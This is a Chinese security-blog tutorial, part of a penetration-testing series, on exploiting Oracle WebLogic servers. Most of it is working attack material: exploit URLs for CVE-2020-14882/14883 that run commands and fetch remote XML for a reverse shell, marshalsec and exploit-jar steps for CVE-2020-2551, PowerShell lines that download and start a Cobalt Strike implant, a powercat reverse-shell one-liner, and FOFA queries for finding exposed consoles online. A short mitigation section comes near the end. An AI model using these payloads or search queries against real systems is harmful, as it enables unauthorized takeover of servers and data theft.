freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

渗透测试之地基服务篇:服务攻防之中间件Weblogic(下)
2021-09-06 14:26:00

系列文章

专辑:渗透测试之地基篇

简介

渗透测试-地基篇

该篇章目的是重新牢固地基,加强每日训练操作的笔记,在记录地基笔记中会有很多跳跃性思维的操作和方式方法,望大家能共同加油学到东西。

请注意

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

名言:

你对这行的兴趣,决定你在这行的成就!

一、前言

中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。

可想而知中间件连接着网络和系统接触着越来越多的关键数据,渐渐成为单位公共安全中最具有战略性的资产,中间件的安全稳定运行也直接决定着业务系统能否正常使用。并且平台的中间件中往往连接数据库,而数据库储存着等极其重要和敏感的信息。如果中间件被攻破,这些信息一旦被篡改或者泄露,轻则造成企业经济损失,重则影响企业形象,甚至行业、社会安全。可见,数据库安全至关重要。所以对数据库的保护是一项必须的,关键的,重要的工作任务。

通过前几期钓鱼、内网攻防篇章落幕后,引来了服务攻防篇章之数据库渗透篇,不管在外网还是内网环境,只要存在业务系统都存在数据库,在渗透测试对数据库的知识学习是必不可少的,接下来将介绍数据库的渗透基本操作,带小伙伴们了解和学习数据库如何渗透的!

今天会讲解到学习Weblogic简介、Weblogic详细安装、XMLDecoder 反序列化漏洞(CVE-2017-10271 & CVE-2017-3506)、wls-wsat反序列化远程代码执行漏洞(CVE-2019-2725)、WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)漏洞等渗透操作等,最后远程代码执行控制服务器等操作,如果连Weblogic都不会安装操作提权等,怎么进行下一步的研究Weblogic安全!怎么拿下对方服务器?

二、WebLogic渗透攻防详解

1、Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)

1)漏洞简介

2020年10月30日,360CERT监测发现 Oracle 官方的 CVE-2020-14882 Weblogic 代码执行漏洞 最新补丁可被绕过,该漏洞编号为 CVE-2020-14882 ,漏洞等级: 严重 ,漏洞评分: 9.8 。

Oracle WebLogic Server 远程代码执行漏洞 (CVE-2020-14882)POC 被公开,未经身份验证的远程攻击者可通过构造特殊的 HTTP GET 请求,结合 CVE-2020-14883 漏洞进行利用,利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ,并执行任意代码,利用门槛低,危害巨大。

未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求,利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件,且该漏洞通过HTTP协议进行利用。将CVE-2020-14882和CVE-2020-14883进行组合利用后,远程且未经授权的攻击者可以直接在服务端执行任意代码,获取系统权限。

影响范围

10.3.6.0
12.1.3.0
12.2.1.3
12.2.1.4
14.1.1.0

临时修补建议:

暂时对外关闭后台 /console/console.portal 的访问权限。

是CVE-2019-2725升级版!

2)CVE-2020-14883: 权限绕过漏洞

POC:

http://192.168.253.94:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

12的版本:
1630909591_6135b4973e20713de6079.png!small?1630909599726

10的版本:
1630909595_6135b49b51cf4a52b3a18.png!small?1630909599726

3)CVE-2020-14882: 代码执行漏洞

(1)远程执行代码创建文件poc

执行POC后,页面会显示404,但是执行成功:
1630909600_6135b4a031a6febc49dfd.png!small?1630909603489

1630909605_6135b4a5284641f39a1af.png!small?1630909607842


http://192.168.253.7:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27touch /tmp/dayu%27);%22);

可看到touch在tmp目录下创建好了dayu文件!

(2)反弹shell-linux-poc

远程执行poc.xml:
1630909609_6135b4a988c036e4db51c.png!small?1630909609922

1630909620_6135b4b4e4ae7ae671452.png!small?1630909627142

http://192.168.253.7:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://192.168.253.7:8001/poc-bash.xml")

可看到成功上线交互!!

(3)windows弹框calc-poc

1630909626_6135b4ba2630fa1043b7d.png!small?1630909627142

http://192.168.253.97:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.253.7:8001/poc-calc.xml")

1630909631_6135b4bfb538e460b393c.png!small?1630909641588
成功弹框!!远程下载CS免杀木马直接上线!

(4)上线CS

1630909639_6135b4c7da872642d4da6.png!small?16309096415881630909644_6135b4cc20f632540d86f.png!small?1630909646999

http://192.168.253.97:7001/console/css/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.253.7:8001/poc-calc.xml")

1630909649_6135b4d1009fd9c906cbf.png!small?1630909674070

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.253.7:8001/dayu1.exe','dayu1.exe');start-process dayu1.exe

1630909654_6135b4d69313039a25921.png!small?1630909674070

高低版本测试都是成功上线CS!

2、IIOP反序列化漏洞 CVE-2020-2551

零基础学习:

https://xz.aliyun.com/t/7725

1)漏洞简介

2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。

漏洞分析:

通过 Oracle 官方发布的公告是可以看出该漏洞的主要是在核心组件中的,影响协议为 IIOP 。该漏洞原理上类似于RMI反序列化漏洞(CVE-2017-3241),和之前的T3协议所引发的一系列反序列化漏洞也很相似,都是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,并没有进行安全检查所导致的。

攻击者可以通过 IIOP 协议远程访问 Weblogic Server 服务器上的远程接口,传入恶意数据,从而获取服务器权限并在未授权情况下远程执行任意代码。IIOP 协议以 Java 接口的形式对远程对象进行访问,默认启用。

漏洞影响:

1630909660_6135b4dc7b42eb604df1b.png!small?1630909674068

Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0

最后总结 10.3.6.0.0 或 12.1.3.0.0 版本测试成功 10.3.6.0.0 和 12.1.3.0.0,12.2.1.3.0 或 12.2.1.4.0 版本测试成功 12.2.1.3.0 和 12.2.1.4.0,我把这种情况分为了两大版本,10.3.6.0.0 和 12.1.3.0.0 为一个版本(低版本),12.2.1.3.0 和 12.2.1.4.0 为另外一个版本,所以完整的 POC 需要兼容俩个版本的验证,比较好一点的做法就是通过抓包然后将2个包的内容进行多次发送,或者在利用的前提得知 Weblogic 使用的操作版本,一般 weblogic 的版本会在 https?://host//console/login/LoginForm.jsp 页面会现实版本。

2)漫谈原理

巨详细原理:
https://paper.seebug.org/1149/#_4

3)漏洞复现POC

1630909666_6135b4e2848f88efad9f0.png!small?1630909674068
利用该四个文件!!

(1)exp.java如下,可以看到是调用了cmd.exe并执行了calc程序:
1630909670_6135b4e67a0a6a0db32d4.png!small?1630909674070

(2)安装javac环境
1630909674_6135b4ea72a083fd64e20.png!small

cd /opt
curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
tar zxvf jdk-8u20-linux-x64.tar.gz
rm -rf /usr/bin/java*
ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
javac -version
java -version

(3)编译exp.java

1630909690_6135b4fab1ec444331a3b.png!small?1630909693814

javac exp.java -source 1.6 -target 1.6
python -m SimpleHTTPServer 80

编译完成之后用python启动一个web服务,python3 -m http.server 80!

(4)然后使用marshalsec起一个恶意的RMI服务

1630909686_6135b4f60da767e533c52.png!small?1630909689495

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.65/#exp" 1099

(5)开始利用
1630909697_6135b501ea178919b8a1b.png!small?1630909716833

java -jar weblogic_CVE_2020_2551.jar 192.168.253.94 7001 rmi://192.168.253.65:1099/exp

经过测试,94IP(10.3.6)版本未成功!
97IP(12.1.3)版本复现成功!!

4)poc-上线CS

(1)修改java代码

1630909702_6135b5067454abbfe7658.png!small?1630909715403

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.253.65/dayu2.exe','dayu2.exe');start-process dayu2.exe

(2)编译exp.java

1630909707_6135b50b56710af85a0da.png!small?16309097154031630909711_6135b50f409debf14507f.png!small?1630909715404

javac exp.java -source 1.6 -target 1.6
python -m SimpleHTTPServer 80

(3)RMI服务启动

然后使用marshalsec起一个恶意的RMI服务
1630909715_6135b51340e0103cc68dc.png!small?1630909716833

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.253.65/#exp" 1099

(4)上线CS

java -jar weblogic_CVE_2020_2551.jar 192.168.253.94 7001 rmi://192.168.253.65:1099/exp

成功上线!CS!!

(5)拓展小技巧

powershell直接上线:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1
IEX (New-Object System.Net.Webclient).DownloadString('http://www.naturali5r.cn/powercat.ps1'); powercat -c 192.168.121.1 -p 6666 -e cmd

5)安全防护

1、修改weblogic的默认端口号,weblogic的默认端口是7001,假若想修改为8080,在config.xml文件中的添加<listen-port>8080</listen-port>。

2、使用 Oracle 官方安全补丁进行更新修复。
Oracle Critical Patch Update Advisory – January 2020。

3、如果不依赖T3协议进行JVM通信,用户可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。

eblogic Server 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器,此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制,详细操作步骤如下:

进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置;

在连接筛选器中输入:security.net.ConnectionFilterImpl,在连接筛选器规则中配置符合实际情况的规则;

保存后若规则未生效,建议重新启动Weblogic服务(重启Weblogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。

3、2021.4月爆发Oracle WebLogic T3反序列化漏洞

1630909727_6135b51faf74b25745a29.png!small?1630909745022

盘点T3参考学习文章:

https://zhzhdoai.github.io/2020/08/10/Weblogic-T3反序列化历史漏洞-一/#CVE-2019-2890

https://www.secrss.com/articles/25852

三、实战思路详解

1630909732_6135b524764a32d975a7d.png!small?1630909747860

"weblogic"
app="Oracle-WebLogic-Server-管理控制台"
app="BEA-WebLogic-Server" ||  app="Weblogic_interface_7001"

查找使用指定应用的IP:

app="Coremail"                   #查找使用Coremail的网站
app="BEA-WebLogic-Server"        #查找使用Weblogic的网站
app="CCTV-Cameras"               #查找使用九安视频监控的网站

1630909737_6135b52984d2d093ea6e5.png!small?1630909747861

http://x.x.x.x:8080/console/login/LoginForm.jsp

可看到存在漏洞的页面网站!这里实战不方面贴出原图,自行学习研究!

拓展查找使用指定协议的IP:

protocol=mysql       #查找使用mysql的ip
protocol=mssql       #查找使用mssql的ip
protocol=oracle      #查找使用oracle的ip
protocol=redis       #查找使用redis的ip

四、总结

今天学到了WebLogic Server 12.1.3详细安装、Weblogic 任意文件上传漏洞(CVE-2018-2894)、Weblogic SSRF漏洞(CVE-2014-4210)、Weblogic 弱口令 & 后台getshell、Weblogic Console HTTP协议远程代码执行漏洞(CVE-2020-14882/3)、IIOP反序列化漏洞 CVE-2020-2551、实战思路详解等渗透操作,最后远程代码执行控制服务器等操作,以及整改加固建议的方式方法,学到了非常多的小技巧和干货,希望小伙伴能实际操作复现一遍!

服务攻防之数据库Mysql(上)-> 服务攻防之数据库Mysql(下)-> 服务攻防之数据库MSSQL(上)-> 服务攻防之数据库MSSQL(中)-> 服务攻防之数据库MSSQL(下)-> 服务攻防之数据库Oracle(上)-> 服务攻防之数据库Oracle(下)-> 服务攻防之数据库Redis(上)-> 服务攻防之数据库Redis(下)-> 服务攻防之数据库Mongodb(上)-> 服务攻防之数据库Mongodb(下)-> 服务攻防之中间件IIS(上)-> 服务攻防之中间件IIS(下)-> 服务攻防之中间件Apache(总)-> 服务攻防之中间件Nginx(总)-> 服务攻防之中间件Tomcat(上)-> 服务攻防之中间件Tomcat(下)-> 服务攻防之中间件JBoss(上)-> 服务攻防之中间件JBoss(中)-> 服务攻防之中间件JBoss(下)-> 服务攻防之中间件Weblogic(上)-> 服务攻防之中间件Weblogic(中)-> 服务攻防之中间件Weblogic(下)......

接下来在《服务攻防之中间件GlassFish(总)》会接触到如何进行GlassFish简介、GlassFish和GlassFish4.1.2详细安装、GlassFish Directory Traversal(CVE-2017-1000028)、GlassFish后台Getshell、实战GlassFish技巧等渗透操作,如何提权渗透等方法,请看下篇服务攻防之中间件GlassFish篇章!

希望大家提高安全意识,没有网络安全就没有国家安全!

今天基础牢固就到这里,虽然基础,但是必须牢记于心。

作者:大余

# 渗透测试
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录